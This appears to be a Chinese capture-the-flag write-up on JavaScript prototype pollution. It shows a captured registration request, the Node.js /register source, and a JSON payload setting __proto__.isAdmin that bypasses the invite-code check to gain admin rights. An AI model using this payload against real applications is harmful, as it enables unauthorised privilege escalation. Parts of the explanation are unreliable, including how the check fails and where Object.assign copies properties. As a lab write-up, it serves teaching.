作者 by Yichen / 2023-08-09 / 暂无评论 / 32 个足迹

在注册界面抓包得到
POST /register HTTP/1.1
Host: 61.147.171.105:55229
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: /
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://61.147.171.105:55229/register.html
Content-Type: text/plain;charset=UTF-8
Content-Length: 58
Origin: http://61.147.171.105:55229
Connection: close
{"username":"1","password":"1","isAdmin":true}
直接登录后并没有有用的东西,也可以选择注册为管理员但需要邀请码,显然没有邀请码。。。但抓包这里可以看到一个isAdmin属性很奇怪已经设置为ture但最终为什么不是管理员,根据提示可知:后端某处采用了 Object.assign()这个函数就涉及到原型链污染了
我们来看下源码
app.post('/register', (req, res) => {
let user = JSON.parse(req.body)
if (!user.username || !user.password) {
return res.json({ msg: 'empty username or password', err: true })
}
if (users.filter(u => u.username == user.username).length) {
return res.json({ msg: 'username already exists', err: true })
}
if (user.isAdmin && user.inviteCode != INVITE_CODE) {
user.isAdmin = false
return res.json({ msg: 'invalid invite code', err: true })
}
let newUser = Object.assign({}, baseUser, user) //污染在这
users.push(newUser)
res.json({ msg: 'user created successfully', err: false })
})第二行注意到JSON.parse(req.body)这个函数这也是很重要的一个地方
注意:
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
let o2 = {a: 1, "__proto__": {b: 2}}
这两个代码是不一样的,第二行代码中__proto__并不被认为是键名,而被看作了类的原型对象prototype,也就是o2本身,这里o2有两个key:a和b
而在json解析中也就是第一行代码中_proto_就被认为是一个key,他的值为{"b":2}
回头看看题,如果我们修改表单为{"username":"e","password":"e","__proto__":{"isAdmin":true}}
那么
let user = JSON.parse(req.body)
这里的user获得了一个叫_proto_的键,值为{"isAdmin":true}
if (user.isAdmin && user.inviteCode != INVITE_CODE) {
user.isAdmin = false
return res.json({ msg: 'invalid invite code', err: true })
}
它并没有isAdmin的key所以在这的判断中应该会出现undefined的报错因而不会被强制赋值
如图(json解析条件下可以使用这种原型链污染)

接下来在let newUser = Object.assign({}, baseUser, user)
这项操作后,将user的属性都复制到了baseUser中,此时
baseUser='{"username":"e","password":"e","__proto__":{"isAdmin":true}}'
因此可以成功注册为admin

参考:https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
独特见解